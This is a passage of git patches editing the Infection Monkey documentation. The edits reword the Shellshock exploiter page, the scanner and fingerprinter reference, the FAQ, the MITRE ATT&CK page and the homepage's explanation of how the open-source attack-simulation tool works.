currently implemented and the vulnerabilities they use. {{% children %}} -You can check out the Exploiters' implementation yourself [in the Monkey's GitHub repository](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/exploit). +You can check out the exploiters' implementation yourself [in the Infection Monkey's GitHub repository](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/exploit). From 02acab704793a6f7e6702aa17d4c3ed44c7ff169 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:31:44 -0500 Subject: [PATCH 0029/1360] docs: Update shellshock.md --- docs/content/reference/exploiters/shellshock.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/exploiters/shellshock.md b/docs/content/reference/exploiters/shellshock.md index c220ae24fb5..20aee282f0c 100644 --- a/docs/content/reference/exploiters/shellshock.md +++ b/docs/content/reference/exploiters/shellshock.md @@ -4,7 +4,8 @@ date: 2020-07-14T08:41:32+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -CVE-2014-6271, based on [logic in NCC group's GitHub](https://github.com/nccgroup/shocker/blob/master/shocker.py). +This exploit, CVE-2014-6271, is based on the [logic in NCC group's GitHub](https://github.com/nccgroup/shocker/blob/master/shocker.py). -> GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." +> In GNU Bash (through 4.3), processes trailing strings after function definitions in the values of environment variables allow remote attackers to execute arbitrary code via a crafted environment. This is demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients and other situations in which setting the environment occurs across a privilege boundary from Bash execution, AKA "ShellShock." From 2defdeffbaa71edcdff82bbcac8a75b7799f6333 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 10:44:48 -0500 Subject: [PATCH 0030/1360] docs: Update scanners/_index.md --- docs/content/reference/scanners/_index.md | 30 +++++++++++------------ 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index cf047bb3b57..d600d8d09d7 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -7,38 +7,38 @@ pre: ' ' tags: ["reference"] --- -The Infection Monkey agent has two steps before attempting to exploit a victim, scanning and fingerprinting, it's possible to customize both steps in the configuration files. +The Infection Monkey agent takes two steps before attempting to exploit a victim, scanning and fingerprinting. It's possible to customize both steps in the configuration files. ## Scanning -Currently there are two scanners, [`PingScanner`][ping-scanner] and [`TcpScanner`][tcp-scanner] both inheriting from [`HostScanner`][host-scanner]. +Currently there are two scanners, [`PingScanner`][ping-scanner] and [`TcpScanner`][tcp-scanner], both inheriting from [`HostScanner`][host-scanner]. The sole interface required is the `is_host_alive` interface, which needs to return True/False. -[`TcpScanner`][tcp-scanner] is the default scanner and it checks for open ports based on the `tcp_target_ports` configuration setting. +[`TcpScanner`][tcp-scanner] is the default scanner. It checks for open ports based on the `tcp_target_ports` configuration setting. -[`PingScanner`][ping-scanner] sends a ping message using the host OS utility `ping`. +[`PingScanner`][ping-scanner] sends a ping message using the host OS utility `ping.` ## Fingerprinting -Fingerprinters are modules that collect server information from a specific victim. They inherit from the [`HostFinger`][host-finger] class and are listed under `finger_classes` configuration option. +Fingerprinters are modules that collect server information from a specific victim. They inherit from the [`HostFinger`][host-finger] class and are listed under the `finger_classes` configuration option. -Currently implemented Fingerprint modules are: +The currently implemented Fingerprint modules are: -1. [`SMBFinger`][smb-finger] - Fingerprints target machines over SMB. Extracts computer name and OS version. -2. [`SSHFinger`][ssh-finger] - Fingerprints target machines over SSH (port 22). Extracts the computer version and SSH banner. -3. [`PingScanner`][ping-scanner] - Fingerprints using the machines TTL, to differentiate between Linux and Windows hosts. -4. [`HTTPFinger`][http-finger] - Fingerprints over HTTP/HTTPS, using the ports listed in `HTTP_PORTS` in the configuration. Returns the server type and if it supports SSL. -5. [`MySQLFinger`][mysql-finger] - Fingerprints over MySQL (port 3306). Extracts MySQL banner info - Version, Major/Minor/Build and capabilities. -6. [`ElasticFinger`][elastic-finger] - Fingerprints over ElasticSearch (port 9200). Extracts the cluster name, node name and node version. +1. [`SMBFinger`][smb-finger] - Fingerprints will target machines over SMB and extract the computer name and OS version. +2. [`SSHFinger`][ssh-finger] - Fingerprints will target machines over SSH (port 22) and extract the computer version and SSH banner. +3. [`PingScanner`][ping-scanner] - Fingerprints will use the machine's TTL to differentiate between Linux and Windows hosts. +4. [`HTTPFinger`][http-finger] - Fingerprints over HTTP/HTTPS, using the ports listed in `HTTP_PORTS` in the configuration, will return the server type and if it supports SSL. +5. [`MySQLFinger`][mysql-finger] - Fingerprints over MySQL (port 3306) will extract MySQL banner info - version, major/minor/build and capabilities. +6. [`ElasticFinger`][elastic-finger] - Fingerprints over ElasticSearch (port 9200) will extract the cluster name, node name and node version. ## Adding a scanner/fingerprinter -To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and should be imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). +To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). -To be used by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. +To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. -At this point, the Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py). +At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py). [elastic-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/elasticfinger.py [http-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/httpfinger.py From 43951aa8c5e8db2dd689badeaa38e3daedad02c7 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 11:50:46 -0500 Subject: [PATCH 0031/1360] docs: Update FAQ/_index.md --- docs/content/FAQ/_index.md | 128 ++++++++++++++++++------------------- 1 file changed, 63 insertions(+), 65 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 89bbf8aba90..3785a901752 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -5,44 +5,42 @@ draft: false pre: " " --- -Here are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). - -- [Where can I get the latest Monkey version? 📰](#where-can-i-get-the-latest-monkey-version) -- [How long does a single Monkey run for? Is there a time limit?](#how-long-does-a-single-monkey-run-for-is-there-a-time-limit) -- [How to reset the password?](#how-to-reset-the-password) -- [Should I run the Monkey continuously?](#should-i-run-the-monkey-continuously) - - [Which queries does Monkey perform to the Internet exactly?](#which-queries-does-monkey-perform-to-the-internet-exactly) -- [Where can I find the log files of the Monkey and the Monkey Island, and how can I read them?](#where-can-i-find-the-log-files-of-the-monkey-and-the-monkey-island-and-how-can-i-read-them) +Below are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). + +- [Where can I get the latest version of the Infection Monkey? 📰](#where-can-i-get-the-latest-version-of-the-infection-monkey-) +- [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) +- [How do I reset the Monkey Island password?](#how-do-i-reset-the-monkey-island-password) +- [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) + - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) +- [Where can I find the log files of the Infection Monkey agent and the Monkey Island server, and how can I read them?](#where-can-i-find-the-log-files-of-the-infection-monkey-agent-and-the-monkey-island-and-how-can-i-read-them) - [Monkey Island](#monkey-island) - [Monkey agent](#monkey-agent) -- [Running the Monkey in a production environment](#running-the-monkey-in-a-production-environment) - - [How much of a footprint does the Monkey leave?](#how-much-of-a-footprint-does-the-monkey-leave) - - [What's the Monkey's impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage) - - [Is it safe to use real passwords and usernames in the Monkey's configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration) +- [Running the Infection Monkey in a production environment](#running-the-infection-monkey-in-a-production-environment) + - [How much of a footprint does the Infection Monkey leave?](#how-much-of-a-footprint-does-the-infection-monkey-leave) + - [What's the Infection Monkey's impact on system resources usage?](#whats-the-infection-monkeys-impact-on-system-resources-usage) + - [Is it safe to use real passwords and usernames in the Infection Monkey's configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-infection-monkeys-configuration) - [How do you store sensitive information on Monkey Island?](#how-do-you-store-sensitive-information-on-monkey-island) - - [How stable are the exploitations used by the Monkey? Will the Monkey crash my systems with its exploits?](#how-stable-are-the-exploitations-used-by-the-monkey-will-the-monkey-crash-my-systems-with-its-exploits) -- [After I've set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey) -- [How can I make the monkey propagate “deeper†into the network?](#how-can-i-make-the-monkey-propagate-deeper-into-the-network) -- [The report returns a blank screen](#the-report-returns-a-blank-screen) -- [How can I get involved with the project? 👩â€ðŸ’»ðŸ‘¨â€ðŸ’»](#how-can-i-get-involved-with-the-project) + - [How stable are the exploitations used by the Infection Monkey? Will the Infection Monkey crash my systems with its exploits?](#how-stable-are-the-exploitations-used-by-the-infection-monkey-will-the-infection-monkey-crash-my-systems-with-its-exploits) +- [After I've set up Monkey Island, how can I execute the Infection Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-infection-monkey-agent) +- [How can I make the Infection Monkey agents propagate “deeper†into the network?](#how-can-i-make-the-infection-monkey-agent-propagate-deeper-into-the-network) +- [What if the report returns a blank screen?](#what-if-the-report-returns-a-blank-screen) +- [How can I get involved with the project? 👩â€ðŸ’»ðŸ‘¨â€ðŸ’»](#how-can-i-get-involved-with-the-project-) -## Where can I get the latest Monkey version? 📰 +## Where can I get the latest version of the Infection Monkey? 📰 -For the latest **stable** release for users, visit [our downloads page](https://www.guardicore.com/infectionmonkey/#download). **This is the recommended and supported version**! +For the latest **stable** release, visit [our downloads page](https://www.guardicore.com/infectionmonkey/#download). **This is the recommended and supported version**! If you want to see what has changed between versions, refer to the [releases page on GitHub](https://github.com/guardicore/monkey/releases). For the latest development version, visit the [develop version on GitHub](https://github.com/guardicore/monkey/tree/develop). -## How long does a single Monkey run for? Is there a time limit? +## How long does a single Infection Monkey agent run? Is there a time limit? -The Monkey shuts off either when it can't find new victims, or when it has exceeded the quota of victims as defined in the configuration. +The Infection Monkey agent shuts off either when it can't find new victims or it exceeded the quota of victims as defined in the configuration. -## How to reset the password? +## How do I reset the Monkey Island password? -On your first access of Monkey Island server, you'll be prompted to create an account. If you forgot the credentials you - entered or just want to change them, you need to manually alter the `server_config.json` file. On Linux, this file is - located on `/var/monkey/monkey_island/cc/server_config.json`. On windows, it's based on your install directory (typically - `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file - leaving the **deployment option unchanged** (it might be "vmware" or "linux" in your case): +When you first access the Monkey Island server, you'll be prompted to create an account. If you forgot the credentials you entered, or just want to change them, you need to alter the `server_config.json` file manually. + +On Linux, this file is located in `/var/monkey/monkey_island/cc/server_config.json`. On Windows, it's based on your install directory (typically it is `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file leaving the **deployment option unchanged** (it might be "VMware" or "Linux" in your case): ```json { @@ -50,40 +48,40 @@ On your first access of Monkey Island server, you'll be prompted to create an ac "deployment": "windows" } ``` - Then reset the Island process (`sudo systemctl restart monkey-island.service` for linux, restart program for windows). - Finally, go to the Island's URL and create a new account. + Then, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux or, on Windows, restart program. + Finally, go to the Monkey Island's URL and create a new account. -## Should I run the Monkey continuously? +## Should I run the Infection Monkey continuously? -Yes! This will allow you to verify that no new security issues were identified by the Monkey since the last time you ran it. +Yes! This will allow you to verify that the Infection Monkey identified no new security issues since the last time you ran it. -Does the Infection Monkey require a connection to the Internet? +Does the Infection Monkey require a connection to the internet? The Infection Monkey does not require internet access to function. -If internet access is available, the Monkey will use the Internet for two purposes: +If internet access is available, the Infection Monkey will use the internet for two purposes: - To check for updates. - To check if machines can reach the internet. -### Which queries does Monkey perform to the Internet exactly? +### Which queries does the Infection Monkey perform to the internet exactly? The Monkey performs queries out to the Internet on two separate occasions: -1. The Infection Monkey agent checks if it has internet access by performing requests to pre-configured domains. By default, these domains are `updates.infectionmonkey.com` and `www.google.com`. The request doesn't include any extra information - it's a GET request with no extra parameters. Since the Infection Monkey is 100% open-source, you can find the domains in the configuration [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/config.py#L152) and the code that performs the internet check [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/network/info.py#L123). This **IS NOT** used for statistics collection. -1. After installation of the Monkey Island, the Monkey Island sends a request to check for updates. The request doesn't include any PII other than the IP address of the request. It also includes the server's deployment type (e.g. Windows Server, Debian Package, AWS Marketplace, etc.) and the server's version (e.g. "1.6.3"), so we can check if we have an update available for this type of deployment. Since the Infection Monkey is 100% open-source, you can inspect the code that performs this [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/monkey_island/cc/services/version_update.py#L37). This **IS** used for statistics collection. However due to the anonymous nature of this data we use this to get an aggregate assumption as to how many deployments we see over a specific time period - no "personal" tracking. +1. The Infection Monkey agent checks if it has internet access by performing requests to pre-configured domains. By default, these domains are `updates.infectionmonkey.com` and `www.google.com.` The request doesn't include any extra information - it's a GET request with no extra parameters. Since the Infection Monkey is 100% open-source, you can find the domains in the configuration [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/config.py#L152) and the code that performs the internet check [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/network/info.py#L123). This **IS NOT** used for statistics collection. +1. After installing the Monkey Island, it sends a request to check for updates. The request doesn't include any PII other than the IP address of the request. It also includes the server's deployment type (e.g., Windows Server, Debian Package, AWS Marketplace) and the server's version (e.g., "1.6.3"), so we can check if we have an update available for this type of deployment. Since the Infection Monkey is 100% open-source, you can inspect the code that performs this [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/monkey_island/cc/services/version_update.py#L37). This **IS** used for statistics collection. However, due to this data's anonymous nature, we use this to get an aggregate assumption of how many deployments we see over a specific time period - it's not used for "personal" tracking. -## Where can I find the log files of the Monkey and the Monkey Island, and how can I read them? +## Where can I find the log files of the Infection Monkey agent and the Monkey Island, and how can I read them? -### Monkey Island +### Monkey Island server -The Monkey Island's log file can be downloaded directly from the UI. Click the “log†section and choose “Download Monkey Island internal logfileâ€, like so: +You can download the Monkey Island's log file directly from the UI. Click the "log" section and choose **Download Monkey Island internal logfile**, like so: ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") It can also be found as a local file on the Monkey Island server, where the Monkey Island was executed, called `info.log`. -The log enables you to see which requests were requested from the server, and extra logs from the backend logic. The log will contain entries like these ones for example: +The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these: ```log 2019-07-23 10:52:23,927 - wsgi.py:374 - _log() - INFO - 200 GET /api/local-monkey (10.15.1.75) 17.54ms @@ -91,14 +89,14 @@ The log enables you to see which requests were requested from the server, and ex 2019-07-23 10:52:24,027 - report.py:580 - get_domain_issues() - INFO - Domain issues generated for reporting ``` -### Monkey agent +### The Infection Monkey agent -The Monkey log file can be found in the following paths on machines where it was executed: +The Infection Monkey agent log file can be found in the following paths on machines where it was executed: - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -The logs contain information about the internals of the Monkey's execution. The log will contain entries like these ones for example: +The logs contain information about the internals of the Infection Monkey agent's execution. The log will contain entries like these: ```log 2019-07-22 19:16:44,228 [77598:140654230214464:INFO] main.main.116: >>>>>>>>>> Initializing monkey (InfectionMonkey): PID 77598 <<<<<<<<<< @@ -114,58 +112,58 @@ The logs contain information about the internals of the Monkey's execution. The 2019-07-22 19:16:45,013 [77598:140654230214464:DEBUG] connectionpool._make_request.396: https://updates.infectionmonkey.com:443 "GET / HTTP/1.1" 200 61 ``` -## Running the Monkey in a production environment +## Running the Infection Monkey in a production environment -### How much of a footprint does the Monkey leave? +### How much of a footprint does the Infection Monkey leave? -The Monkey leaves hardly any trace on the target system. It will leave: +The Infection Monkey leaves hardly any trace on the target system. It will leave: - Log files in the following locations: - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -### What's the Monkey's impact on system resources usage? +### What's the Infection Monkey's impact on system resources usage? -The Infection Monkey uses less than single-digit percent of CPU time and very low RAM usage. For example, on a single-core Windows Server machine, the Monkey consistently uses 0.06% CPU, less than 80MB of RAM and a small amount of I/O periodically. +The Infection Monkey uses less than a single-digit percent of CPU time and very low RAM usage. For example, on a single-core Windows Server machine, the Infection Monkey consistently uses 0.06% CPU, less than 80MB of RAM and a small amount of I/O periodically. -If you do experience any performance issues please let us know on [our Slack channel](https://infectionmonkey.slack.com/) or via [opening an issue on GitHub](https://github.com/guardicore/monkey). +If you do experience any performance issues please let us know on [our Slack channel](https://infectionmonkey.slack.com/) or [open an issue on GitHub](https://github.com/guardicore/monkey). -### Is it safe to use real passwords and usernames in the Monkey's configuration? +### Is it safe to use real passwords and usernames in the Infection Monkey's configuration? -Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is then accessible only to users that have access to the Island. +Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is accessible only to users that have access to the specific Monkey Island. -We advise to limit access to the Monkey Island server by following our [password protection guide](../usage/island/password-guide). +We advise users to limit access to the Monkey Island server by following our [password protection guide](../usage/island/password-guide). ### How do you store sensitive information on Monkey Island? -Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island's database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines. +Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island's database in an encrypted fashion. This data is transmitted to the Infection Monkey agents in an encrypted fashion (HTTPS) and is not stored locally on victim machines. When you reset the Monkey Island configuration, the Monkey Island wipes the information. -### How stable are the exploitations used by the Monkey? Will the Monkey crash my systems with its exploits? +### How stable are the exploitations used by the Infection Monkey? Will the Infection Monkey crash my systems with its exploits? -The Monkey does not use any exploits or attacks that may impact the victim system. +The Infection Monkey does not use any exploits or attacks that may impact the victim system. -This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren't using it. +This means we avoid using some powerful (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact, but, because it may crash a production system, we aren't using it. -## After I've set up Monkey Island, how can I execute the Monkey? +## After I've set up Monkey Island, how can I execute the Infection Monkey agent? See our detailed [getting started](../content/usage/getting-started) guide. -## How can I make the monkey propagate “deeper†into the network? +## How can I make the Infection Monkey agent propagate “deeper†into the network? -If you wish to simulate a very “deep†attack into your network, you can try to increase the *propagation depth* parameter in the configuration. This parameter tells the Monkey how far to propagate into your network from the “patient zero†machine in which it was launched manually. +If you wish to simulate a very “deep†attack into your network, you can increase the *propagation depth* parameter in the configuration. This parameter tells the Infection Monkey how far to propagate into your network from the “patient zero†machine, from which it was launched manually. -To do this, change the “Distance from Island†parameter in the “Basic - Network†tab of the configuration: +To do this, change the *Distance from Island* parameter in the “Basic - Network†tab of the configuration: ![How to increase propagation depth](/images/faq/prop_depth.png "How to increase propagation depth") -## The report returns a blank screen +## What if the report returns a blank screen? This is sometimes caused when Monkey Island is installed with an old version of MongoDB. Make sure your MongoDB version is up to date using the `mongod --version` command on Linux or the `mongod -version` command on Windows. If your version is older than **4.0.10**, this might be the problem. To update your Mongo version: -- **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). -- **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of mongodb using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Island again and everything should work. +- **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). +- **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of MongoDB using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Monkey Island again and everything should work. ## How can I get involved with the project? 👩â€ðŸ’»ðŸ‘¨â€ðŸ’» @@ -175,6 +173,6 @@ The Monkey is an open-source project, and we weclome contributions and contribut ### How did you come up with the Infection Monkey? -Oddly enough, the idea of proactively breaking the network to test its survival wasn't born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company's production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs. +Oddly enough, the idea of proactively breaking a network to test its survival wasn't born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool designed to randomly disable the company's production servers to verify that they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs. -Inspired by this concept, Guardicore Labs developed its own attack simulator - Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attack and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017 (?) the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers. +Inspired by this concept, Guardicore Labs developed its own attack simulator - the Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attacks and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017, the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers. From 781eb1b76badcb4e202e26528e98236b7a1423a4 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 26 Feb 2021 12:28:44 -0500 Subject: [PATCH 0032/1360] docs: Update mitre_techniques.md --- docs/content/reference/mitre_techniques.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/mitre_techniques.md b/docs/content/reference/mitre_techniques.md index d455d7e90bd..c0b787bae28 100644 --- a/docs/content/reference/mitre_techniques.md +++ b/docs/content/reference/mitre_techniques.md @@ -12,7 +12,7 @@ Check out [the documentation for the MITRE ATT&CK report as well](../../usage/re The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and, based on this, provides a report detailing the techniques it used along with any recommended mitigations. This helps you simulate an advanced persistent threat (APT) attack on your network and mitigate real attack paths intelligently. -In the following table, we provide the list of all the MITRE ATT&CK techniques the Monkey provides info about, categorized by the tactic. You can follow any of the links below to learn more about a specific technique or tactic. +In the following table, we list all the MITRE ATT&CK techniques the Infection Monkey provides info about, categorized by the tactic. You can follow any of the links below to learn more about a specific technique or tactic. | TACTIC | TECHNIQUES | From 17504c227b2dfe49505cfed63d4e13cfe445f7c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Mar 2021 12:48:51 +0200 Subject: [PATCH 0033/1360] Improved home page documentation by adding explanation about how monkey works technically --- docs/content/_index.md | 27 ++++++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index f363f724398..4b3563a46aa 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -10,16 +10,33 @@ draft: false ## What is Guardicore Infection Monkey? -The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island Command and Control server. +The Infection Monkey is an open source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. +Infection Monkey will help you test implemented security solutions and will provide visibility of the internal network through the eyes of an attacker. + +Infection Monkey is free and can be downloaded from [our homepage](https://infectionmonkey.com/). ![Infection Monkey Documentation Hub Logo](/images/monkey-teacher.svg?height=400px "Infection Monkey Documentation Hub Logo") -The Infection Monkey is comprised of two parts: +## How it works + +Architecturally Infection Monkey tool is comprised of two parts: + +* Monkey Agent (Monkey for short) - a safe, worm like binary program which scans, spreads and simulates attack techniques on the **local network**. +* Monkey Island Server (Island for short) - a C&C web server which serves GUI for users and interacts with Monkey Agents. + +User runs Monkey Agent on the Island server machine or distributes Monkey Agent binaries on the network manually. Based on +the configuration parameters, Monkey Agents scan, propagate and simulate attackers behaviour on the local network. All of the +information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. -* Monkey - A tool which infects other machines and propagates to them. -* Monkey Island - A dedicated UI to visualize the Infection Monkey's progress inside the data center. +## Results -To read more about the Monkey and download it, visit [our homepage](https://infectionmonkey.com/). +Results of running Monkey Agents are: + - A map which displays how much of the network attacker can see, services accessible and potential propagation routes. + - Security report, which displays security issues Monkey Agents found and/or exploited. + - Mitre ATT&CK report, which displays the outcomes of ATT&CK techniques Monkey Agents tried to use. + - Zero Trust report, which displays violations of Zero Trust principles that Agents found. + +More in depth description of reports generated can be found in [reports documentation page](/reports) ## Getting Started From 869d29029629b2020b03c1401219a1b98e703292 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Mar 2021 16:29:44 +0200 Subject: [PATCH 0034/1360] Fixed typos and improved wording in homepage of documentation hub --- docs/content/_index.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index 4b3563a46aa..7d739d6f59c 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -10,8 +10,8 @@ draft: false ## What is Guardicore Infection Monkey? -The Infection Monkey is an open source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. -Infection Monkey will help you test implemented security solutions and will provide visibility of the internal network through the eyes of an attacker. +The Infection Monkey is an open-source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. +Infection Monkey will help you validate existing security solutions and will provide a view of the internal your network from an attacker's perspective. Infection Monkey is free and can be downloaded from [our homepage](https://infectionmonkey.com/). @@ -19,24 +19,24 @@ Infection Monkey is free and can be downloaded from [our homepage](https://infec ## How it works -Architecturally Infection Monkey tool is comprised of two parts: +Architecturally, Infection Monkey is comprised of two parts: -* Monkey Agent (Monkey for short) - a safe, worm like binary program which scans, spreads and simulates attack techniques on the **local network**. -* Monkey Island Server (Island for short) - a C&C web server which serves GUI for users and interacts with Monkey Agents. +* Monkey Agent (Monkey for short) - a safe, worm-like binary program which scans, propagates and simulates attack techniques on the **local network**. +* Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. User runs Monkey Agent on the Island server machine or 